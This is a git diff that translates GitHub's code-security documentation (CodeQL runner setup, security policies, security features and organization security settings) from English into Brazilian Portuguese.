-- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.product.prodname_codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
+- Um {% data variables.product.prodname_github_app %} ou um token de acesso pessoal para {% data variables.product.prodname_codeql_runner %} usar. Você deve usar um token de acesso com o escopo do `repositório`, ou um {% data variables.product.prodname_github_app %} com a permissão de gravação de `security_events` e `metadados` e permissões de leitura de `conteúdo`. Para obter informações, consulte "[Criar {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" e "[Criar um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)".
+- Acesso ao pacote de {% data variables.product.prodname_codeql %} associado a esta versão do {% data variables.product.prodname_codeql_runner %}. Este pacote contém consultas e bibliotecas necessárias para a análise de {% data variables.product.prodname_codeql %} mais o CLI de {% data variables.product.prodname_codeql %}, que é usado internamente pelo executor. Para obter informações, consulte "[CLI de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/)".
 
-The options for providing access to the {% data variables.product.prodname_codeql %} bundle are:
+As opções para fornecer acesso ao pacote de{% data variables.product.prodname_codeql %} são:
 
-1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}<em>HOSTNAME</em>{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} can download the bundle automatically.
-1. Manually download/extract the bundle, store it with other central resources, and use the <nobr>`--codeql-path`</nobr> flag to specify the location of the bundle in calls to initialize the {% data variables.product.prodname_codeql_runner %}.
+1. Permita o acesso dos servidores de CI a https://{% ifversion fpt or ghec %}github. om{% else %}<em>HOSTNAME</em>{% endif %}/github/codeql-action para que {% data variables.product.prodname_codeql_runner %} possa fazer o download do pacote automaticamente.
+1. Faça o download/extraia o pacote manualmente, armazene-o com outros recursos centrais e use <nobr>`--codeql-path`</nobr> o sinalizador para especificar o local do pacote nas chamadas para inicializar o {% data variables.product.prodname_codeql_runner %}.
 
-## Calling the {% data variables.product.prodname_codeql_runner %}
+## Chamar {% data variables.product.prodname_codeql_runner %}
 
-You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are:
+Você deve chamar {% data variables.product.prodname_codeql_runner %} no local de checkout do repositório que deseja analisar. Os dois comandos principais são:
 
-1. `init` required to initialize the runner and create a {% data variables.product.prodname_codeql %} database for each language to be analyzed. These databases are populated and analyzed by subsequent commands.
-1. `analyze` required to populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload results to {% data variables.product.product_name %}.
+1. `init` necessário para inicializar o executor e criar um banco de dados de {% data variables.product.prodname_codeql %} para que cada linguagem seja analisada. Estas bases de dados são preenchidas e analisadas por comandos subsequentes.
+1. `análise` necessário para preencher os bancos de dados {% data variables.product.prodname_codeql %}, analisá-los e fazer o upload dos resultados para {% data variables.product.product_name %}.
 
-For both commands, you must specify the URL of {% data variables.product.product_name %}, the repository *OWNER/NAME*, and the {% data variables.product.prodname_github_apps %} or personal access token to use for authentication. You also need to specify the location of the CodeQL bundle, unless the CI server has access to download it directly from the `github/codeql-action` repository.
+Para ambos os comandos, você deve especificar a URL de {% data variables.product.product_name %}, o repositório **OWNER/NAME e o {% data variables.product.prodname_github_apps %} ou token de acesso pessoal para usar para autenticação. Você também precisa especificar a localização do pacote CodeQL, a menos que o servidor CI tenha acesso para fazer o download diretamente do repositório `github/codeql-action`.
 
-You can configure where the {% data variables.product.prodname_codeql_runner %} stores the CodeQL bundle for future analysis on a server using the <nobr>`--tools-dir`</nobr> flag and where it stores temporary files during analysis using <nobr>`--temp-dir`</nobr>.
+Você pode configurar o local onde o {% data variables.product.prodname_codeql_runner %} armazena o pacote do CodeQL para futuras análises em um servidor usando o sinalizador <nobr>`--tools-dir`</nobr> e onde armazena arquivos temporários durante a análise usando <nobr>`--temp-dir`</nobr>.
 
-To view the command-line reference for the runner, use the `-h` flag. For example, to list all commands run: `codeql-runner-OS -h`, or to list all the flags available for the `init` command run: `codeql-runner-OS init -h` (where `OS` varies according to the executable that you are using). For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)."
+Para visualizar a referência de linha de comando para o executor, use o sinalizador `-h`. Por exemplo, para listar todos os comandos executados: `codeql-runner-OS -h` ou para listar todos os sinalizadores disponíveis para o comando `init` executado: `codeql-runner-OS init -h` (em que `OS` varia de acordo com o executável que você está usando). Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_code_scanning %} no seu sistema de CI](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)".
 
 {% data reusables.code-scanning.upload-sarif-alert-limit %}
 
-### Basic example
+### Exemplo básico
 
-This example runs {% data variables.product.prodname_codeql %} analysis on a Linux CI server for the `octo-org/example-repo` repository hosted on `{% data variables.command_line.git_url_example %}`. The process is very simple because the repository contains only languages that can be analyzed by {% data variables.product.prodname_codeql %} directly, without being built (that is, Go, JavaScript, Python, and TypeScript).
+Este exemplo executa a análise do {% data variables.product.prodname_codeql %} em um servidor de Linux CI para o repositório `octo-org/example-repo` hospedado em `{% data variables.command_line.git_url_example %}`. O processo é muito simples porque o repositório contém apenas linguagens que podem ser analisadas diretamente pelo {% data variables.product.prodname_codeql %}, sem ser criado (ou seja, Go, JavaScript, Python e TypeScript).
 
-In this example, the server has access to download the {% data variables.product.prodname_codeql %} bundle directly from the `github/codeql-action` repository, so there is no need to use the `--codeql-path` flag.
+Neste exemplo, o servidor tem acesso para fazer o download do pacote {% data variables.product.prodname_codeql %} diretamente do repositório `github/codeql-action`. Portanto, não há necessidade de usar o sinalizador `--codeql-path`.
 
-1. Check out the repository to analyze.
-1. Move into the directory where the repository is checked out.
-1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
+1. Confira o repositório a ser analisado.
+1. Mova para o diretório para o local onde o repositório está reservado.
+1. Inicialize {% data variables.product.prodname_codeql_runner %} e crie banco de dados do {% data variables.product.prodname_codeql %} para as linguagens detectadas.
 
 {% ifversion ghes < 3.1 %}
    ```shell
@@ -132,19 +132,19 @@ In this example, the server has access to download the {% data variables.product
         --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin
     > Cleaning temp directory /srv/checkout/example-repo/codeql-runner
     > ...
-    > Created CodeQL database at /srv/checkout/example-repo/codeql-runner/codeql_databases/javascript.
+    > Banco de dados do CodeQL criado em /srv/checkout/example-repo/codeql-runner/codeql_databases/javascript.
     ```
 {% endif %}
 
 {% data reusables.code-scanning.codeql-runner-analyze-example %}
 
-### Compiled language example
+### Exemplo de linguagem compilada
 
-This example is similar to the previous example, however this time the repository has code in C/C++, C#, or Java. To create a {% data variables.product.prodname_codeql %} database for these languages, the CLI needs to monitor the build. At the end of the initialization process, the runner reports the command you need to set up the environment before building the code. You need to run this command, before calling the normal CI build process, and then running the `analyze` command.
+Este exemplo é semelhante ao exemplo anterior. No entanto, desta vez, o repositório tem o código em C/C++, C# ou Java. Para criar um banco de dados de {% data variables.product.prodname_codeql %} para essas linguagens, o CLI precisa monitorar a criação. No final do processo de inicialização, o executor informa o comando que você precisa configurar o ambiente antes de criar o código. Você precisa executar esse comando antes de chamar o processo de criação normal da CI e, em seguida, executar o comando `analisar`.
 
-1. Check out the repository to analyze.
-1. Move into the directory where the repository is checked out.
-1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
+1. Confira o repositório a ser analisado.
+1. Mova para o diretório para o local onde o repositório está reservado.
+1. Inicialize {% data variables.product.prodname_codeql_runner %} e crie banco de dados do {% data variables.product.prodname_codeql %} para as linguagens detectadas.
 {% ifversion ghes < 3.1 %}
  ```shell
     $ /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2
@@ -158,27 +158,27 @@ This example is similar to the previous example, however this time the repositor
     > ...
     > CodeQL environment output to "/srv/checkout/example-repo-2/codeql-runner/codeql-env.json"
       and "/srv/checkout/example-repo-2/codeql-runner/codeql-env.sh".
-      Please export these variables to future processes so that CodeQL can monitor the build, for example by running 
-      ". /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh".
+      Exporte essas variáveis para processos futuros para que o CodeQL possa monitorar a criação, por exemplo, executando 
+". /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh".
     ```
 {% endif %}
-1. Source the script generated by the `init` action to set up the environment to monitor the build. Note the leading dot and space in the following code snippet.
+1. Extraia o script gerado pela ação `iniciar` para configurar o ambiente a fim de monitorar a criação. Observe o ponto e espaço principal no seguinte trecho do código.
 
     ```shell
     $ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh
     ```
 
-1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)."
+1. Crie o código. No macOS, você precisa prefixar o comando de criação com a variável de ambiente `$CODEQL_RUNNER`. Para obter mais informações, consulte "[Solução de problemas de {% data variables.product.prodname_codeql_runner %} no seu sistema de CI](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)".
 
 {% data reusables.code-scanning.codeql-runner-analyze-example %}
 
 {% note %}
 
-**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_runner %} in the container where your build task takes place.
+**Observação:** Se você usar uma criação conteinerizada, você deverá executar o {% data variables.product.prodname_codeql_runner %} no contêiner em que ocorre a tarefa de criação.
 
 {% endnote %}
 
-## Further reading
+## Leia mais
 
-- "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)"
-- "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)"
+- "[Configurar {% data variables.product.prodname_codeql_runner %} no seu sistema de CI](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)"
+- "[Solução de problemas de {% data variables.product.prodname_codeql_runner %} no seu sistema de CI](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)"
diff --git a/translations/pt-BR/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/translations/pt-BR/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
index ff470708a7..bc97a31fb5 100644
--- a/translations/pt-BR/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
+++ b/translations/pt-BR/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a security policy to your repository
-intro: You can give instructions for how to report a security vulnerability in your project by adding a security policy to your repository.
+title: Adicionar uma política de segurança ao repositório
+intro: 'Você pode dar instruções sobre como relatar uma vulnerabilidade de segurança no seu projeto, adicionando uma política de segurança ao seu repositório.'
 redirect_from:
   - /articles/adding-a-security-policy-to-your-repository
   - /github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository
@@ -16,50 +16,48 @@ topics:
   - Vulnerabilities
   - Repositories
   - Health
-shortTitle: Add a security policy
+shortTitle: Adicionar uma política de segurança
 ---
 
-## About security policies
+## Sobre políticas de segurança
 
-To give people instructions for reporting security vulnerabilities in your project,{% ifversion fpt or ghes > 3.0 or ghec %} you can add a _SECURITY.md_ file to your repository's root, `docs`, or `.github` folder.{% else %} you can add a _SECURITY.md_ file to your repository's root, or `docs` folder.{% endif %} When someone creates an issue in your repository, they will see a link to your project's security policy.
+Para dar às pessoas instruções para relatar vulnerabilidades de segurança no seu projeto{% ifversion fpt or ghes > 3.0 or ghec %} você pode adicionar um arquivo _SECURITY.md_ à raiz do seu repositório, `docs` ou à pasta `.github`.{% else %} você pode adicionar um arquivo _SECURITY.md_ à raiz do seu repositório ou à pasta `docs`.{% endif %} Quando alguém criar um problema no seu repositório, a pessoa verá um link para a política de segurança do seu projeto.
 
 {% ifversion not ghae %}
 <!-- no public repos in GHAE -->
-You can create a default security policy for your organization or user account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+Você pode criar uma política de segurança padrão para sua organização ou conta de usuário. Para obter mais informações, consulte "[Criando um arquivo padrão de integridade da comunidade](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
 {% endif %}
 
 {% tip %}
 
-**Tip:** To help people find your security policy, you can link to your _SECURITY.md_ file from other places in your repository, such as your README file. For more information, see "[About READMEs](/articles/about-readmes)."
+**Dica:** para ajudar as pessoas a encontrar a política de segurança, você poderá vincular seu arquivo _SECURITY.md_ a outros locais em seu repositório, como o arquivo README. Para obter mais informações, consulte "[Sobre README](/articles/about-readmes)".
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
-After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about {% data variables.product.prodname_security_advisories %}, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+Depois que alguém informar uma vulnerabilidade de segurança no seu projeto, você pode usar o {% data variables.product.prodname_security_advisories %} para divulgar, corrigir e publicar informações sobre a vulnerabilidade. Para obter mais informações sobre o processo de relatórios e divulgação de vulnerabilidades em {% data variables.product.prodname_dotcom %}, consulte "[Sobre divulgação coordenada das vulnerabilidades de segurança](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)". Para obter mais informações sobre {% data variables.product.prodname_security_advisories %}, consulte "[Sobre {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
 
 {% data reusables.repositories.github-security-lab %}
 {% endif %}
 {% ifversion ghes > 3.0 or ghae %}
 <!-- alternative to the content about GitHub Security Advisories in the dotcom article -->
-By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel.
+Ao disponibilizar claramente instruções de relatório de segurança, você torna mais fácil para os usuários relatar quaisquer vulnerabilidades de segurança que encontrem no repositório usando seu canal de comunicação preferido.
 {% endif %}
 
-## Adding a security policy to your repository
+## Adicionar uma política de segurança ao repositório
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-3. In the left sidebar, click **Security policy**.
-  ![Security policy tab](/assets/images/help/security/security-policy-tab.png)
-4. Click **Start setup**.
-  ![Start setup button](/assets/images/help/security/start-setup-security-policy-button.png)
-5. In the new _SECURITY.md_ file, add information about supported versions of your project and how to report a vulnerability.
+3. Na barra lateral esquerda, clique em **Política de segurança**. ![Aba de política de segurança](/assets/images/help/security/security-policy-tab.png)
+4. Clique em **Start setup** (Iniciar configuração). ![Botão Start setup (Iniciar configuração)](/assets/images/help/security/start-setup-security-policy-button.png)
+5. No novo arquivo _SECURITY.md_, adicione informações sobre versões compatíveis do seu projeto e como relatar uma vulnerabilidade.
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Further reading
+## Leia mais
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
-- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
+- "[Protegendo o seu repositório](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
+- "[Configurar o projeto para contribuições saudáveis](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}){% endif %}
diff --git a/translations/pt-BR/content/code-security/getting-started/github-security-features.md b/translations/pt-BR/content/code-security/getting-started/github-security-features.md
index 646ed3ccd5..5c2be0d2d9 100644
--- a/translations/pt-BR/content/code-security/getting-started/github-security-features.md
+++ b/translations/pt-BR/content/code-security/getting-started/github-security-features.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub security features
-intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.'
+title: Funcionalidades de segurança do GitHub
+intro: 'Uma visão geral das funcionalidades de segurança de {% data variables.product.prodname_dotcom %}'
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,33 +14,32 @@ topics:
   - Advanced Security
 ---
 
-## About {% data variables.product.prodname_dotcom %}'s security features
+## Sobre as funcionalidades de segurança de {% data variables.product.prodname_dotcom %}
 
-{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. {% data reusables.advanced-security.security-feature-availability %}
+{% data variables.product.prodname_dotcom %} tem funcionalidades de segurança que ajudam a manter códigos e segredos seguros nos repositórios e entre organizações. {% data reusables.advanced-security.security-feature-availability %}
 
-The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %}
+O {% data variables.product.prodname_advisory_database %} contém uma lista de vulnerabilidades de segurança que você pode visualizar, pesquisar e filtrar. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## Available for all repositories
+## Disponível para todos os repositórios
 {% endif %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-### Security policy
-  
-Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."
+### Política de segurança
+
+Facilite o acesso dos seus usuários para relatar confidencialmente vulnerabilidades de segurança que encontraram no seu repositório. Para obter mais informações, consulte "[Adicionar uma política de segurança ao seu repositório](/code-security/getting-started/adding-a-security-policy-to-your-repository)".
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Security advisories
+### Consultorias de segurança
 
-Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+Discute em particular e corrige vulnerabilidades de segurança no código do seu repositório. Em seguida, você pode publicar uma consultoria de segurança para alertar a sua comunidade sobre a vulnerabilidade e incentivar os integrantes da comunidade a atualizá-la. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)".
 
 {% endif %}
 {% ifversion fpt or ghec or ghes > 3.2 %}
 
-### {% data variables.product.prodname_dependabot_alerts %} and security updates
+### {% data variables.product.prodname_dependabot_alerts %} e atualizações de segurança
 
-View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)"
-and "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+Ver alertas sobre dependências conhecidas por conter vulnerabilidades de segurança e escolher se deseja gerar pull requests para atualizar essas dependências automaticamente. Para obter mais informações, consulte "[Sobre alertas de dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) e "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)".
 {% endif %}
 
 {% ifversion ghes < 3.3 or ghae-issue-4864 %}
@@ -48,42 +47,42 @@ and "[About {% data variables.product.prodname_dependabot_security_updates %}](/
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-View alerts about dependencies that are known to contain security vulnerabilities, and manage these alerts. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+Exibir alertas sobre dependências conhecidas por conter vulnerabilidades de segurança e gerenciar esses alertas. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)"
 {% endif %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-### {% data variables.product.prodname_dependabot %} version updates
+### atualizações de versão de {% data variables.product.prodname_dependabot %}
 
-Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)."
+Use {% data variables.product.prodname_dependabot %} para levantar automaticamente os pull requests a fim de manter suas dependências atualizadas. Isso ajuda a reduzir a exposição a versões mais antigas de dependências. Usar versões mais recentes facilita a aplicação de patches, caso as vulnerabilidades de segurança sejam descobertas e também torna mais fácil para {% data variables.product.prodname_dependabot_security_updates %} levantar, com sucesso, os pull requests para atualizar as dependências vulneráveis. Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)".
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-### Dependency graph
-The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository.
+### Gráfico de dependências
+O gráfico de dependências permite explorar os ecossistemas e pacotes dos quais o repositório depende e os repositórios e pacotes que dependem do seu repositório.
 
-You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+Você pode encontrar o gráfico de dependências na aba **Ideias** para o seu repositório. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)".
 {% endif %}
 
-## Available with {% data variables.product.prodname_GH_advanced_security %}
+## Disponível com {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.ghas-availability %}
 
 ### {% data variables.product.prodname_code_scanning_capc %}
 
-Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+Detectar automaticamente vulnerabilidades de segurança e erros de codificação em códigos novos ou modificados. São destacados os problemas potenciais, com informações detalhadas, o que permite que você corrija o código antes que seja mesclado no seu branch-padrão. Para obter mais informações, consulte "[Sobre a varredura de código](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)".
 
 ### {% data variables.product.prodname_secret_scanning_caps %}
 
-Automatically detect tokens or credentials that have been checked into a repository. {% ifversion fpt or ghec %}For secrets identified in public repositories, the service is informed that the secret may be compromised.{% endif %} 
+Detectar automaticamente tokens ou credenciais que foram verificados em um repositório. {% ifversion fpt or ghec %}Para segredos identificados em repositórios públicos, informa-se ao serviço que o segredo pode ser comprometido.{% endif %}
 {%- ifversion ghec or ghes or ghae %}
-{% ifversion ghec %}For private repositories, you can view {% elsif ghes or ghae %}View {% endif %}any secrets that {% data variables.product.company_short %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised.{% endif %} For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+{% ifversion ghec %}Para repositórios privados, você pode ver{% elsif ghes or ghae %}Visualizar {% endif %}qualquer segredo que {% data variables.product.company_short %} encontrou no seu código. Você deve tratar os tokens ou credenciais que foram verificados no repositório como comprometidos.{% endif %} Para obter mais informações, consulte "[Sobre a digitalização de segredo](/github/administering-a-repository/about-secret-scanning)".
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
-### Dependency review
+### Revisão de dependência
 
-Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+Mostre o impacto completo das alterações nas dependências e veja detalhes de qualquer versão vulnerável antes de fazer merge de um pull request. Para obter mais informações, consulte "[Sobre a revisão de dependências](/code-security/supply-chain-security/about-dependency-review)".
 {% endif %}
 
-## Further reading
-- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)"
-- "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)"
+## Leia mais
+- "[Produtos do {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/githubs-products)"
+- "[Suporte à linguagem de {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/github-language-support)"
diff --git a/translations/pt-BR/content/code-security/getting-started/securing-your-organization.md b/translations/pt-BR/content/code-security/getting-started/securing-your-organization.md
index 92361d61a2..ea28237764 100644
--- a/translations/pt-BR/content/code-security/getting-started/securing-your-organization.md
+++ b/translations/pt-BR/content/code-security/getting-started/securing-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your organization
-intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your organization secure.'
+title: Protegendo a sua organização
+intro: 'Você pode usar uma série de funcionalidades de {% data variables.product.prodname_dotcom %} para ajudar a manter a sua organização protegida.'
 permissions: Organization owners can configure organization security settings.
 versions:
   fpt: '*'
@@ -13,129 +13,129 @@ topics:
   - Dependencies
   - Vulnerabilities
   - Advanced Security
-shortTitle: Secure your organization
+shortTitle: Proteger a sua organização
 ---
 
-## Introduction
-This guide shows you how to configure security features for an organization. Your organization's security needs are unique and you may not need to enable every security feature. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+## Introdução
+Este guia mostra como configurar os recursos de segurança de uma organização. As necessidades de segurança da sua organização são únicas e pode ser que você não precise habilitar todas as funcionalidades de segurança. Para obter mais informações, consulte "[Funcionalidades de segurança de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)".
 
 {% data reusables.advanced-security.security-feature-availability %}
 
-## Managing access to your organization
+## Gerenciando o acesso à sua organização
 
-You can use roles to control what actions people can take in your organization. {% if security-managers %}For example, you can assign the security manager role to a team to give them the ability to manage security settings across your organization, as well as read access to all repositories.{% endif %} For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Você pode usar as funções para controlar as ações que as pessoas podem tomar na sua organização. {% if security-managers %}Por exemplo, você pode atribuir o papel de gerente de segurança a uma equipe para que possam gerenciar configurações de segurança em toda a sua organização, assim como acesso de leitura a todos os repositórios.{% endif %} Para obter mais informações, consulte "[Funçõesem uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
 {% ifversion fpt or ghes > 3.0 or ghec %}
 
-## Creating a default security policy
+## Criando uma política de segurança padrão
 
-You can create a default security policy that will display in any of your organization's public repositories that do not have their own security policy. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+Você pode criar uma política de segurança padrão que será exibida em qualquer repositório público da organização que não tenha sua própria política de segurança. Para obter mais informações, consulte "[Criando um arquivo padrão de integridade da comunidade](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
 
 {% endif %}
 
 {% ifversion fpt or ghes > 2.22 or ghae-issue-4864 or ghec %}
-## Managing {% data variables.product.prodname_dependabot_alerts %} and the dependency graph
+## Gerenciar {% data variables.product.prodname_dependabot_alerts %} e o gráfico de dependências
 
-{% ifversion fpt or ghec %}By default, {% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and generates {% data variables.product.prodname_dependabot_alerts %} and a dependency graph. You can enable or disable {% data variables.product.prodname_dependabot_alerts %} and the dependency graph for all private repositories owned by your organization.
+{% ifversion fpt or ghec %}Por padrão, {% data variables.product.prodname_dotcom %} detecta vulnerabilidades nos repositórios públicos, gera {% data variables.product.prodname_dependabot_alerts %} e um gráfico de dependência. Você pode habilitar ou desabilitar {% data variables.product.prodname_dependabot_alerts %} e o gráfico de dependência de todos os repositórios privados da sua organização.
 
-1. Click your profile photo, then click **Organizations**.
-2. Click **Settings** next to your organization.
-3. Click **Security & analysis**.
-4. Click **Enable all** or **Disable all** next to the feature that you want to manage.
-5. Optionally, select **Automatically enable for new repositories**.
+1. Clique na sua foto de perfil e clique em **Organizações**.
+2. Clique em **Configurações** ao lado da sua organização.
+3. Clique em **Segurança & análise**.
+4. Clique em **Habilitar todos** ou **Desabilitar todos** ao lado do recurso que você deseja gerenciar.
+5. Opcionalmente, selecione **Habilitar automaticamente para novos repositórios**.
 {% endif %}
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
 
-For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)," "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)," and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
